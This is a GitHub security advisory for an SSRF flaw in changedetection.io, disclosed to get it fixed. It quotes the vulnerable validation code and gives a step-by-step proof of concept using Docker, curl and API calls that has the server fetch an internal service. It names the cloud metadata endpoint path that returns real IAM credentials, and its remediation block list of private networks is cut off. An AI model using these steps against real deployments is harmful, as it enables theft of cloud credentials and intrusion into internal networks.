GitHub Advisoryadvisory · PyPI

GHSA-3c45-4pj5-ch7m changedetection.io is Vulnerable to SSRF via Watch URLs

HIGH Published 2026-02-25 Modified 2026-02-25 Official page ↗
Aliases
CVE-2026-27696
Ecosystem
PyPI
Packages
changedetection.io
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-02-25

Affected packages

• PyPI changedetection.io: < 0.54.1 → fixed in 0.54.1

Description

Summary Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as: • `http://169.254.169.254` • `http://10.0.0.1/` • `http://127.0.0.1/` The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. This is particularly severe because: • The fetched content is stored and viewable - this is not a blind SSRF • Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources • By default, no password is set - the web UI is accessible without authentication • Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials --- Details The URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation: ```python changedetectionio/validate_url.py:60-122 @lru_cache(maxsize=1000) def is_safe_valid_url(test_url): safe_protocol_regex = '^(http|https|ftp):' # Check protocol pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE) if not pattern.match(test_url.strip()): return False # Check URL format if not validators.url(test_url, simple_host=True): return False return True # No IP address validation performed ``` The HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation: ```python changedetectionio/content_fetchers/requests.py:83-89 r = session.request(method=request_method, url=url, # User-provided URL, no IP validation headers=request_headers, timeout=timeout, proxies=proxies, verify=False) ``` The response content is stored and made available to the user: ```python changedetectionio/content_fetchers/requests.py:140-142 self.content = r.text # Text content stored self.raw_content = r.content # Raw bytes stored ``` This validation gap exists in all entry points that accept watch URLs: • Web UI: `changedetectionio/store/__init__.py:718` • REST API: `changedetectionio/api/watch.py:163, 428` • Import API: `changedetectionio/api/import.py:188` All use the same `is_safe_valid_url()` function, so a single fix addresses all paths. --- PoC Prerequisites • A changedetection.io instance (Docker deployment) • Network access to the instance (default port 5000) Step 1: Deploy changedetection.io with an internal service Create `internal-service.py`: ```python !/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import json class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps({ 'Code': 'Success', 'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE', 'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', 'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken' }).encode()) HTTPServer(('0.0.0.0', 80), H).serve_forever() ``` Create `Dockerfile.internal`: ``` FROM python:3.11-slim COPY internal-service.py /server.py CMD ["python3", "/server.py"] ``` Create `docker-compose.yml`: ```yaml version: "3.8" services: changedetection: image: ghcr.io/dgtlmoon/changedetection.io ports: • "5000:5000" volumes: • ./datastore:/datastore internal-service: build: context: . dockerfile: Dockerfile.internal ``` Start the stack: ```bash docker compose up -d ``` Step 2: Add a watch for the internal service Open `http://localhost:5000/` in a browser (no password required by default). In the URL field, enter: ``` http://internal-service/ ``` Click Watch and wait for the first check to complete. Step 3: View the exfiltrated data Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials: ```json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } ``` Step 4: Verify via API (alternative) ```bash Get the API key (visible in Settings page of the unauthenticated web UI) API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \ python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])") Create a watch via API WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \ -H "x-api-key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"url": "http://internal-service/"}') WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])") echo "Watch created: $WATCH_UUID" Wait for the first fetch to complete echo "Waiting 30s for first fetch..." sleep 30 Retrieve the exfiltrated data via API LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \ -H "x-api-key: $API_KEY" | \ python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')") echo "=== EXFILTRATED DATA ===" curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \ -H "x-api-key: $API_KEY" ``` Expected output — the internal service’s response containing simulated credentials: ```json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } ``` In a real cloud deployment, replacing `http://internal-service/` with: ```bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` would return real AWS IAM credentials. --- Impact Who is impacted: All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible. What an attacker can do: • Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens • Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses • Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet • Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources • No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability --- Suggested Remediation Add IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`: ```python import ipaddress import socket BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), # Loopback ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918) ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918) ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918) ipaddres…

Related

Alias · CVE (1)

  • CVE-2026-27696 changedetection.io is a free open source web page change detection tool. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References